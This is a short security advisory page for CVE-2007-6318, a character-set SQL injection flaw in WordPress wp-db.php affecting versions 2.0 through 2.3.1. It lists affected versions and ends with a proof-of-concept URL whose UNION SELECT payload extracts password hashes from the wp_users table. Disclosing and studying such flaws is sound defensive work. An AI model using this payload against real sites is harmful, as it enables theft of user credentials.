exploits , vulnerabilities , articles , WordPress wp-db.php Character Set SQL Injection Vulnerability

Title	WordPress wp-db.php Character Set SQL Injection Vulnerability
Published	2007-12-10-12:00AM
Updated	2008-03-24-08:10PM
Class	Input Validation Error
CVE	CVE-2007-6318
Remote	Yes
Local	No
Credit	Abel Cheung is credited with the discovery of this vulnerability.
Vulnerable	WordPress WordPress 2.3.1 WordPress WordPress 2.2.3 WordPress WordPress 2.2.2 WordPress WordPress 2.2.1 WordPress WordPress 2.2.1 WordPress WordPress 2.1.3 WordPress WordPress 2.1.3 WordPress WordPress 2.1.2 WordPress WordPress 2.1.1 WordPress WordPress 2.0.10 WordPress WordPress 2.0.7 WordPress WordPress 2.0.6 WordPress WordPress 2.0.5 WordPress WordPress 2.0.4 WordPress WordPress 2.0.3 WordPress WordPress 2.0.2 WordPress WordPress 2.0.1 WordPress WordPress 2.0 WordPress WordPress 2.3 WordPress WordPress 2.2 Revision 5003 WordPress WordPress 2.2 Revision 5002 WordPress WordPress 2.2 WordPress WordPress 2.1.3RC2 WordPress WordPress 2.1.3RC1 WordPress WordPress 2.1 WordPress WordPress 2.0.10RC2 WordPress WordPress 2.0.10RC1 RedHat Fedora 8 0 RedHat Fedora 7 0
Not Vulnerable
Code	Attackers can use a browser to exploit this issue.The following proof-of-concept exploit is available:http://www.example.com/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))//AND//ID=-1//UNION//SELECT//1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24//FROM/**/wp_users%23
TXT